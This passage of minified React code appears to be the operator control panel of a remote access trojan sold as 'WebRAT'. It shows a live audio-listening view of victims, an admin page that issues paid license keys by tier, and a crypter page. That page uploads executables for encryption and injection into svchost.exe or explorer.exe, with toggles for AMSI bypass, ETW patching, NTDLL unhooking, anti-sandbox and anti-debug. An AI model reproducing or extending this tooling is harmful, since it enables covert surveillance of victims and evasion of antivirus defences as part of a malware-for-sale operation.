rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),a.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),a.jsx("div",{className:"flex-1"}),a.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),a.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:a.jsxs("div",{className:"flex flex-col items-center gap-8",children:[a.jsxs("div",{className:"relative",children:[a.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:a.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&a.jsx(a.Fragment,{children:a.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),a.jsxs("div",{className:"flex flex-col items-center gap-2",children:[a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio Muted":"Listening...":"Connecting..."}),t&&a.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const OV=4294967295;function TV(e){return e>=OV-86400}function Mm(e){return TV(e)?"Never":new Date(e*1e3).toLocaleString()}function Yb({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function MV({role:e}){const t=e==="admin";return a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function LV(){const[e,t]=m.useState("keys"),[n,r]=m.useState([]),[i,s]=m.useState([]),[o,l]=m.useState(!0),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState("7d"),[x,g]=m.useState("0"),[y,v]=m.useState("rat"),[b,w]=m.useState(!1),[j,N]=m.useState(""),[k,z]=m.useState(!1),[S,O]=m.useState(null),[A,T]=m.useState(null),[P,D]=m.useState("30d"),[G,R]=m.useState(!1),[K,_]=m.useState(null),[M,F]=m.useState("rat"),[U,V]=m.useState(!1),Z=m.useCallback(async()=>{try{const C=await h6();r(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch keys")}},[]),ae=m.useCallback(async()=>{try{const C=await g6();s(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch operators")}},[]);m.useEffect(()=>{l(!0),Promise.all([Z(),ae()]).finally(()=>l(!1))},[Z,ae]);const ue=async C=>{C.preventDefault(),w(!0),u("");try{const Y=await x6({duration:p,max_agents:parseInt(x)||0,tier:y});N(Y.key),z(!1),await Z()}catch(Y){u(Y instanceof Error?Y.message:"Failed to generate key")}finally{w(!1)}},be=async C=>{u("");try{await v6(C),O(null),await Z()}catch(Y){u(Y instanceof Error?Y.message:"Failed to revoke key")}},ye=async()=>{if(A){R(!0),u("");try{await y6(A.id,P),T(null),await ae()}catch(C){u(C instanceof Error?C.message:"Failed to extend license")}finally{R(!1)}}},q=async()=>{if(K){V(!0),u("");try{await b6(K.id,M),_(null),await ae()}catch(C){u(C instanceof Error?C.message:"Failed to set tier")}finally{V(!1)}}},te=()=>{navigator.clipboard.writeText(j),z(!0),setTimeout(()=>z(!1),2e3)};return a.jsxs("div",{className:"p-6 space-y-6",children:[a.jsx("div",{className:"flex items-center justify-between",children:a.jsxs("div",{children:[a.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),a.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),a.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[a.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),a.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&a.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,a.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?a.jsxs("div",{className:"space-y-4",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:()=>{f(!d),N("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r
|
||
hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),a.jsx("button",{onClick:Z,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r
|
||
hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[a.jsxs("form",{onSubmit:ue,className:"space-y-3",children:[a.jsxs("div",{className:"flex items-end gap-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),a.jsx("input",{type:"text",value:p,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r
|
||
text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r
|
||
focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),a.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r
|
||
text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),a.jsxs("div",{className:"flex gap-1",children:[a.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),a.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r
|
||
hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${p===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r
|
||
text-zerin-accent break-all select-all`,children:j}),a.jsx("button",{onClick:te,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r
|
||
hover:bg-zerin-panel-hover transition-colors shrink-0`,children:k?"Copied!":"Copy"})]}),a.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(Yb,{status:C.status})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Mm(C.created_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Mm(C.expires_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),a.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?S===C.key_id?a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("button",{onClick:()=>be(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r
|
||
hover:bg-red-500/10 transition-colors`,children:"Confirm"}),a.jsx("button",{onClick:()=>O(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r
|
||
hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):a.jsx("button",{onClick:()=>O(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r
|
||
hover:bg-red-500/10 transition-colors`,children:"Revoke"}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):a.jsxs("div",{className:"space-y-4",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsx("button",{onClick:ae,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r
|
||
hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(MV,{role:C.role})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3",children:C.license_status?a.jsx(Yb,{status:C.license_status}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?Mm(C.license_expires_at):"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("button",{onClick:()=>{T(C),D("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r
|
||
hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),a.jsx("button",{onClick:()=>{_(C),F(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r
|
||
hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),A&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>T(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",a.jsx("span",{className:"text-zerin-accent",children:A.username})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),a.jsx("input",{type:"text",value:P,onChange:C=>D(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r
|
||
text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{onClick:()=>D(C),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:ye,disabled:G,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r
|
||
hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:G?"Extending...":"Add Time"}),a.jsx("button",{onClick:()=>T(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r
|
||
hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),K&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>_(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",a.jsx("span",{className:"text-zerin-accent",children:K.username})]}),a.jsxs("div",{className:"flex gap-2",children:[a.jsx("button",{onClick:()=>F("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${M==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{onClick:()=>F("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${M==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:q,disabled:U,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r
|
||
hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:U?"Updating...":"Update Tier"}),a.jsx("button",{onClick:()=>_(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r
|
||
hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}const qb=[{at:0,msg:"Initializing encryption engine..."},{at:8,msg:"Generating random XOR key (256-bit)..."},{at:14,msg:"Deriving AES-256-CBC session key via PBKDF2..."},{at:20,msg:"Parsing PE headers... IMAGE_NT_SIGNATURE OK"},{at:28,msg:"Mapping sections: .text .rdata .data .rsrc .reloc"},{at:38,msg:"Encrypting payload sections (XOR pass)..."},{at:48,msg:"Encrypting payload sections (AES pass)..."},{at:55,msg:"Building injection stub..."},{at:62,msg:"Patching entry point → stub trampoline"},{at:70,msg:"Applying evasion layers..."},{at:78,msg:"Compiling output binary..."},{at:85,msg:"Stripping debug symbols & Rich header"},{at:92,msg:"Obfuscating PE metadata (timestamp, linker)"},{at:98,msg:"Validating output integrity... SHA-256 OK"}],IV=[{path:"C:\\Windows\\System32\\svchost.exe",label:"svchost.exe",desc:"Service host (recommended)"},{path:"C:\\Windows\\System32\\RuntimeBroker.exe",label:"RuntimeBroker.exe",desc:"UWP broker"},{path:"C:\\Windows\\System32\\dllhost.exe",label:"dllhost.exe",desc:"COM surrogate"},{path:"C:\\Windows\\explorer.exe",label:"explorer.exe",desc:"Windows shell"}],Pa=[{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Replace hooked ntdll .text with clean copy from \\KnownDlls\\",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M12.293 4.293a1 1 0 0 1 1.414 0l4 4a1 1 0 0 1 0 1.414l-4 4a1 1 0 0 1-1.414-1.414L14.586 10H3a1 1 0 1 1 0-2h11.586l-2.293-2.293a1 1 0 0 1 0-1.414Z",clipRule:"evenodd"})})},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession to return AMSI_RESULT_CLEAN",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1a4.5 4.5 0 0 0-4.5 4.5V9H5a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2h-.5V5.5A4.5 4.5 0 0 0 10 1Zm3 8V5.5a3 3 0 1 0-6 0V9h6Z",clipRule:"evenodd"})})},{key:"etw_patch",label:"ETW Patch",desc:"Patch EtwEventWrite with xor eax,eax; ret",icon:a.jsxs("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:[a.jsx("path",{d:"M10 12.5a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z"}),a.jsx("path",{fillRule:"evenodd",d:"M.664 10.59a1.651 1.651 0 0 1 0-1.186A10.004 10.004 0 0 1 10 3c4.257 0 7.893 2.66 9.336 6.41.147.381.146.804 0 1.186A10.004 10.004 0 0 1 10 17c-4.257 0-7.893-2.66-9.336-6.41ZM14 10a4 4 0 1 1-8 0 4 4 0 0 1 8 0Z",clipRule:"evenodd"})]})},{key:"anti_sandbox",label:"Anti-Sandbox",desc:"Score-based VM/sandbox detection (3-tier weighted system)",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M8.485 2.495c.673-1.167 2.357-1.167 3.03 0l6.28 10.875c.673 1.167-.17 2.625-1.516 2.625H3.72c-1.347 0-2.189-1.458-1.515-2.625L8.485 2.495ZM10 5a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 10 5Zm0 9a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z",clipRule:"evenodd"})})},{key:"anti_debug",label:"Anti-Debug",desc:"NtQueryInformationProcess + ProcessDebugPort/ObjectHandle",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M10 18a8 8 0 1 0 0-16 8 8 0 0 0 0 16ZM6.75 9.25a.75.75 0 0 0 0 1.5h6.5a.75.75 0 0 0 0-1.5h-6.5Z",clipRule:"evenodd"})})}],Xb=`
|
||
@keyframes crypterScanLine {
|
||
0% { top: -2px; opacity: 0; }
|
||
10% { opacity: 1; }
|
||
90% { opacity: 1; }
|
||
100% { top: calc(100% + 2px); opacity: 0; }
|
||
}
|
||
@keyframes crypterPulseRing {
|
||
0%, 100% { box-shadow: 0 0 0 0 rgba(6, 182, 212, 0.15); }
|
||
50% { box-shadow: 0 0 0 6px rgba(6, 182, 212, 0); }
|
||
}
|
||
@keyframes crypterTerminalBlink {
|
||
0%, 100% { opacity: 1; }
|
||
50% { opacity: 0; }
|
||
}
|
||
@keyframes crypterLayerIn {
|
||
0% { opacity: 0; transform: translateX(-6px); }
|
||
100% { opacity: 1; transform: translateX(0); }
|
||
}
|
||
@keyframes crypterProgressGlow {
|
||
0%, 100% { box-shadow: 0 0 8px rgba(6, 182, 212, 0.3); }
|
||
50% { box-shadow: 0 0 20px rgba(6, 182, 212, 0.6); }
|
||
}
|
||
@keyframes crypterHexScroll {
|
||
0% { transform: translateY(0); }
|
||
100% { transform: translateY(-50%); }
|
||
}
|
||
@keyframes crypterCheckIn {
|
||
0% { transform: scale(0.5); opacity: 0; }
|
||
50% { transform: scale(1.15); }
|
||
100% { transform: scale(1); opacity: 1; }
|
||
}
|
||
.crypter-scan-line {
|
||
position: absolute;
|
||
left: 0;
|
||
right: 0;
|
||
height: 1px;
|
||
background: linear-gradient(90deg, transparent, #06B6D4, transparent);
|
||
animation: crypterScanLine 2.5s ease-in-out infinite;
|
||
pointer-events: none;
|
||
}
|
||
.crypter-pulse-ring {
|
||
animation: crypterPulseRing 2s ease-in-out infinite;
|
||
}
|
||
.crypter-terminal-cursor::after {
|
||
content: '█';
|
||
animation: crypterTerminalBlink 0.8s step-end infinite;
|
||
color: #06B6D4;
|
||
}
|
||
.crypter-layer-enter {
|
||
animation: crypterLayerIn 0.3s ease-out forwards;
|
||
}
|
||
.crypter-progress-glow {
|
||
animation: crypterProgressGlow 1.5s ease-in-out infinite;
|
||
}
|
||
.crypter-check-in {
|
||
animation: crypterCheckIn 0.35s cubic-bezier(0.34, 1.56, 0.64, 1) forwards;
|
||
}
|
||
`;function DV(e){const t=[];for(let n=0;n<e;n++){const r=(n*16).toString(16).toUpperCase().padStart(8,"0"),i=Array.from({length:16},()=>Math.floor(Math.random()*256).toString(16).toUpperCase().padStart(2,"0")).join(" ");t.push(`${r} ${i}`)}return t}function RV(){const{isAdmin:e}=ya(),n=kj()==="rat_crypter"||e,[r,i]=m.useState(null),[s,o]=m.useState("runpe"),[l,c]=m.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=m.useState(0),[f,p]=m.useState({anti_sandbox:!0,anti_debug:!0,unhook_ntdll:!0,amsi_bypass:!0,etw_patch:!0}),[h,x]=m.useState(!1),[g,y]=m.useState(0),[v,b]=m.useState(""),[w,j]=m.useState(!1),[N,k]=m.useState([]),[z,S]=m.useState(!1),O=m.useRef(null),A=m.useRef(null),[T]=m.useState(()=>DV(24)),P=Object.values(f).filter(Boolean).length,D=m.useCallback(_=>{p(M=>({...M,[_]:!M[_]}))},[]),G=m.useCallback(_=>{_.preventDefault(),j(!1);const M=_.dataTransfer.files[0];M&&(i(M),S(!1))},[]),R=m.useCallback(()=>{i(null),S(!1),k([]),y(0),O.current&&(O.current.value="")},[]);m.useEffect(()=>{if(!h)return;k([]);let _=0;const M=setInterval(()=>{if(_<qb.length){const F=qb[_];(g>=F.at||_===0)&&(k(U=>[...U,F.msg]),_++)}},800+Math.random()*600);return()=>clearInterval(M)},[h]),m.useEffect(()=>{A.current&&(A.current.scrollTop=A.current.scrollHeight)},[N]);const K=m.useCallback(async()=>{if(!(!r||h)){x(!0),b(""),y(5),S(!1);try{const _=new FormData;_.append("file",r),_.append("mode",s),_.append("target_process",l),_.append("sleep_seconds",u.toString()),_.append("anti_sandbox",f.anti_sandbox.toString()),_.append("anti_debug",f.anti_debug.toString()),_.append("unhook_ntdll",f.unhook_ntdll.toString()),_.append("amsi_bypass",f.amsi_bypass.toString()),_.append("etw_patch",f.etw_patch.toString()),y(20);const M=setInterval(()=>{y(Z=>{const ae=90-Z,ue=Math.max(1,ae*.08);return Math.min(Z+ue,90)})},1200),F=await p6(_);clearInterval(M),y(100),S(!0);const U=URL.createObjectURL(F),V=document.createElement("a");V.href=U,V.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild(V),V.click(),document.body.removeChild(V),URL.revokeObjectURL(U)}catch(_){b(_.message||"Build failed"),y(0)}finally{x(!1)}}},[r,h,s,l,u,f]);return n?a.jsxs("div",{className:"h-full flex flex-col overflow-hidden",children:[a.jsx("style",{children:Xb}),a.jsxs("div",{className:"flex-none px-6 py-4 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 